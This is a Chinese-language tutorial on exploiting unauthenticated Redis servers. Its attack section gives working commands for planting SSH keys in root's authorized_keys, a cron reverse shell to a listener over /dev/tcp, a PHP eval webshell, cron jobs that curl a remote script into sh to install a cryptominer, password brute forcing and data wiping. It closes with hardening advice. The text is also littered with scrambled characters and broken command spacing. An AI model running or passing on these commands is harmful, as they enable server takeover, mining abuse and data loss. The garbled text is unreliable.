1.Redis介紹
Redis是一個開源的使用ANSI C語言編寫岸啡、支持網(wǎng)絡鸵赖、可基于內(nèi)存亦可持久化的日志型、 Key-Value數(shù)據(jù)庫温赔。和Memcached類似蛤奢,它支持存儲的value 類型相對更多,包括 string(字符串)陶贼、list ( 鏈表)啤贩、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)骇窍。這些數(shù)據(jù)類型都支持push/pop 瓜晤、 add/remove 及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的腹纳。在此基礎(chǔ)上痢掠, redis支持各種不同方式的排序。與 memcached 一樣嘲恍,為了保證效率足画,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是 redis 會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件佃牛,并且在此基礎(chǔ)上實現(xiàn)了 master-slave ( 主從)同步淹辞。
2. Redis漏洞介紹
Redis因配置不當可以導致未授權(quán)訪問,被攻擊者惡意利用俘侠。當前流行的針對Redis未授權(quán)訪問的一種新型攻擊方式象缀,在特定條件下,如果Redis以root身份運行爷速,黑客可以給root賬戶寫入SSH公鑰文件央星,直接通過SSH登錄受害服務器,可導致服務器權(quán)限被獲取和數(shù)據(jù)刪除惫东、泄露或加密勒索事件發(fā)生莉给,嚴重危害業(yè)務正常服務毙石。部分服務器上的Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是Redis 的默認配置)颓遏,以及該端口可以通過公網(wǎng)直接訪問徐矩,如果沒有采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等叁幢,將會導致 Redis 服務直接暴露在公網(wǎng)上滤灯,可能造成其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務并進行相關(guān)操作。目前比較主流的案例:yam2 minerd 挖礦程序遥皂,還有在多次應急事件中發(fā)現(xiàn)大量的watch-smartd挖礦木馬力喷。
3.? 測試環(huán)境介紹
Redis默認端口
Redis默認配置端口為6379刽漂,sentinel.conf配置器端口為26379
官方站點
http://download.redis.io/releases/redis-3.2.11.tar.gz
安裝redis
wgethttp://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
最新版本前期漏洞已經(jīng)修復演训,測試時建議安裝3.2.11版本。
修改配置文件redis.conf
cp redis.conf./src/redis.conf
bind 127.0.0.1?
前面加上#號注釋掉
protected-mode
設為no
啟動redis-server
./src/redis-server redis.conf
連接Redis服務器
交互式方式
redis-cli -h {host} -p {port}?方式連接贝咙,然后所有的操作都是在交互的方式實現(xiàn)样悟,不需要再執(zhí)行redis-cli了
例如命令
redis-cli -h 127.0.0.1-p 6379?? 加-a參數(shù)表示帶密碼的訪問
命令方式
redis-cli -h {host} -p {port} {command}?直接得到命令的返回結(jié)果.
常見命令
命令描述
info查看信息
flushall刪除所有數(shù)據(jù)庫內(nèi)容
flushdb刷新數(shù)據(jù)庫
KEYS *查看所有鍵,使用 select
? num 可以查看鍵值數(shù)據(jù)
set test “who am i”設置變量
config set dir dirpath設置路徑等配置
save保存
get 變量查看變量名稱
更多命令可以參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html
相關(guān)漏洞
??????? 因配置不當可以未經(jīng)授權(quán)訪問,攻擊者無需認證就可以訪問到內(nèi)部數(shù)據(jù)庭猩,其漏洞可導致敏感信息泄露(Redis服務器存儲一些有趣的session窟她、cookie或商業(yè)數(shù)據(jù)可以通過get枚舉鍵值),也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)蔼水,攻擊者還可通過EVAL執(zhí)行l(wèi)ua代碼震糖,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。如果Redis以root身份運行趴腋,可以給root賬戶寫入SSH公鑰文件吊说,直接免密碼登錄服務器,其相關(guān)漏洞信息如下:
Redis 遠程代碼執(zhí)行漏洞(CVE-2016-8339)
??Redis 3.2.x < 3.2.4版本存在緩沖區(qū)溢出漏洞优炬,可導致任意代碼執(zhí)行颁井。Redis數(shù)據(jù)結(jié)構(gòu)存儲的CONFIG SET命令中client-output-buffer-limit選項處理存在越界寫漏洞。構(gòu)造的CONFIG
SET命令可導致越界寫蠢护,代碼執(zhí)行雅宾。
CVE-2015-8080
??Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函數(shù)整數(shù)溢出葵硕,允許上下文相關(guān)的攻擊者許可運行Lua代碼(內(nèi)存損壞和應用程序崩潰)或可能繞過沙盒限制意圖通過大量眉抬,觸發(fā)基于棧的緩沖區(qū)溢出。
CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞懈凹。遠程攻擊者可執(zhí)行eval命令利用該漏洞執(zhí)行任意Lua字節(jié)碼
CVE-2013-7458
?讀取“.rediscli_history”配置文件信息
?
通過文件包含讀取其配置文件
??Redis配置文件中一般會設置明文密碼蜀变,在進行滲透時也可以通過webshell查看其配置文件,Redis往往不只一臺計算機蘸劈,可以利用其來進行內(nèi)網(wǎng)滲透昏苏,或者擴展權(quán)限滲透。
使用Redis暴力破解工具
https://github.com/evilpacket/redis-sha-crack,其命令為:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1host2.example.com:5555
需要安裝node:
git clone https://github.com/nodejs/node.git
chmod -R 755 node
cd node
./configure
make
msf下利用模塊
auxiliary/scanner/redis/file_upload?normal ? ? Redis File Upload
auxiliary/scanner/redis/redis_login?normal ? ? Redis Login Utility
auxiliary/scanner/redis/redis_server ? normal ? ? Redis CommandExecute Scanner
[if !supportLists]4.? [endif]攻擊方式
使用nmap獲取主機開放的端口
針對redis默認端口6379通過使用nmap進行端口掃描
nmap -A -p 6379 --script redis-info 192.168.3.23
or
nmap -v -n -Pn -p 6379 -sV --script redis-info 192.168.6.0/24
通過漏洞搜索引擎獲取全球開放的端口
https://www.zoomeye.org/searchResult?q=port:6379
除去顯示“-NOAUTH Authentication required.”的結(jié)果贤惯,顯示這個信息表示需要進行認證洼专,也即需要密碼才能訪問。
https://fofa.so/ 通過訪問此站點輸入如下搜索語法:
port=6379 && protocol==redis && country=CN
未受權(quán)訪問敏感信息
?????? ./redis-cli-h 192.168.3.13
Info
可以查看里面的key和其對應的值
keys *?
get key
刪除數(shù)據(jù)
?????? flushall刪除所有數(shù)據(jù)
del key 刪除鍵為key的數(shù)據(jù)
ssh公鑰入侵
[if !supportLists]l? [endif]本地生成key
ssh-keygen -trsa
[if !supportLists]l? [endif]公鑰導入key.txt
將公鑰導入key.txt文件(前后用\n換行孵构,避免和Redis里其他緩存數(shù)據(jù)混合),再把key.txt文件內(nèi)容寫入目標主機的緩沖里:
(echo -e
"\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat
/root/.ssh/key.txt | ./redis-cli -h 192.168.3.13 -x set shit
[if !supportLists]l? [endif]連接遠程主機./redis-cli -h 192.168.10.153
[if !supportLists]l? [endif]設置redis的備份路徑和保存的文件名authorized_keys
config set dir/root/.ssh
config setdbfilename authorized_keys
[if !supportLists]l? [endif]將數(shù)據(jù)保存在硬盤上
Save
[if !supportLists]l? [endif]使用ssh遠程連接目標
ssh 192.168.3.13
通過crontab計劃任務反彈shell
首先是本地kali下使用nc監(jiān)聽端口
Nc -lvnp 4488
連接redis反彈shell
./redis-cli -h 192.168.3.13
set shit"\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.3.18/44880>&1\n\n"
config set dir/var/spool/cron
config setdbfilename root
save
1分鐘之后即可反彈shell
通過redis寫小馬到指定的web目錄
./redis-cli -h192.168.152.128
config set dir/var/www/html
set shit"\n\n\neval($_POST['fuck']);?>\n\n\n"
config setdbfilename shell.php
save
寫入挖礦進程
所謂”挖礦”實質(zhì)上是用計算機解決一項復雜的數(shù)學問題屁商,來保證比特幣網(wǎng)絡分布式記賬系統(tǒng)的一致性。比特幣網(wǎng)絡會自動調(diào)整數(shù)學問題的難度颈墅,讓整個網(wǎng)絡約每10分鐘得到一個合格答案蜡镶。隨后比特幣網(wǎng)絡會新生成一定量的比特幣作為賞金,獎勵獲得答案的人恤筛。它依據(jù)特定算法官还,通過大量的計算產(chǎn)生,所以才會大量占據(jù)cpu毒坛,導致系統(tǒng)卡頓望伦,嚴重的直接癱瘓。給服務器上傳挖礦木馬有兩種方法:
1.用上面的方法拿下webshell煎殷,給服務器指定目錄上傳一個watch-smartd挖礦木馬屯伞,一個shell腳本1.sh(上傳的文件默認沒有x權(quán)限) 這個腳本給其執(zhí)行權(quán)限
vim 1.sh
#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH
Chmod +x/root/test/watch-smartd
Exit 0
使用kali遠程連接redis
./redis-cli -h192.168.3.13
config set dir/var/spool/cron
config setdbfilename root
set watch-smartd"\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh"\n\n\n/1sh/root/test/1.sh\n\n"
save
2.寫入定時任務,到指定的網(wǎng)站去下載挖礦木馬和shell腳本1.sh
vim1.sh
#!bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin if [ ! -f "/tmp/watch-smartd"]; then
wgethttp://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd
elsechmod +x /tmp/watch-smartd
fi
exit0
在kali上遠程連接redis
./redis-cli -h192.168.152.128
config set dir/var/spool/cron config
set dbfilenameroot
set shit"\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set shut"\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save
利用redis執(zhí)行命令
redis 2.6以前的版本內(nèi)置了lua腳本環(huán)境豪直,在有連接redis服務器的權(quán)限下劣摇,可以利用lua執(zhí)行系統(tǒng)命令。
本地建立一個lua腳本
vim?hello.lua
localmsg ="hello,hack!"
returnmsg
在客戶端連接redis服務器并執(zhí)行hello.lua
./redis-cli eval "$(cathello.lua)" 0 -h 192.168.3.13
利用hydra對redis進行暴力破解
hydra-Ppasswd.txt redis://192.168.3.13
[if !supportLists]5.? [endif]redis日志
首先找到redis的配置文件
打開配置文件弓乙,找到logfile(可能有多個logfile末融,認準旁邊有l(wèi)oglevel的那個),或者直接搜logfile “”
將路徑填入logfile后面的引號內(nèi)唆貌,例如:logfile”/usr/local/redis/redis.log”
保存配置文件滑潘,以這個配置文件啟動redis,然后這時候redis的啟動框會變成一個黑框框锨咙,什么輸出都沒有语卤,這就對了(因為輸入全寫到日志文件去了)
loglevel是用來設置日志等級的,具體可以看配置文件中上面的注釋
[if !supportLists]6.? [endif]修復方案
1.禁止一些高危命令(重啟redis才能生效)
修改 redis.conf 文件酪刀,禁用遠程修改 DB 文件地址
rename-commandFLUSHALL ""
rename-commandCONFIG ""
rename-commandEVAL ""
或者通過修改redis.conf文件粹舵,改變這些高危命令的名稱
rename-commandFLUSHALL "name1"
rename-commandCONFIG "name2"
rename-commandEVAL "name3"
2. 以低權(quán)限運行 Redis 服務(重啟redis才能生效)
為 Redis 服務創(chuàng)建單獨的用戶和家目錄,并且配置禁止登陸
groupadd-rredis && useradd -r -g redis redis
3. 為 Redis 添加密碼驗證(重啟redis才能生效)
修改 redis.conf 文件骂倘,添加
requirepassmypassword
(注意redis不要用-a參數(shù)眼滤,明文輸入密碼,連接后使用auth認證)
4. 禁止外網(wǎng)訪問 Redis(重啟redis才能生效)
修改 redis.conf 文件历涝,添加或修改诅需,使得 Redis 服務只在當前主機可用
bind127.0.0.1
在redis3.2之后漾唉,redis增加了protected-mode,在這個模式下堰塌,非綁定IP或者沒有配置密碼訪問時都會報錯
5. 修改默認端口
修改配置文件redis.conf文件
Port6379
默認端口是6379赵刑,可以改變成其他端口(不要沖突就好)
6. 保證authorized_keys 文件的安全
為了保證安全,您應該阻止其他用戶添加新的公鑰场刑。
將 authorized_keys 的權(quán)限設置為對擁有者只讀般此,其他用戶沒有任何權(quán)限:
chmod 400 ~/.ssh/authorized_keys
為保證 authorized_keys 的權(quán)限不會被改掉,您還需要設置該文件的? ? immutable 位權(quán)限:
chattr +i ~/.ssh/authorized_keys
然而牵现,用戶還可以重命名~/.ssh铐懊,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況瞎疼,需要設置 ~./ssh
? ? 的 immutable 權(quán)限:
chattr+i~/.ssh
7. 設置防火墻策略
如果正常業(yè)務中Redis服務需要被其他服務器來訪問科乎,可以設置iptables策略僅允許指定的IP來訪問Redis服務。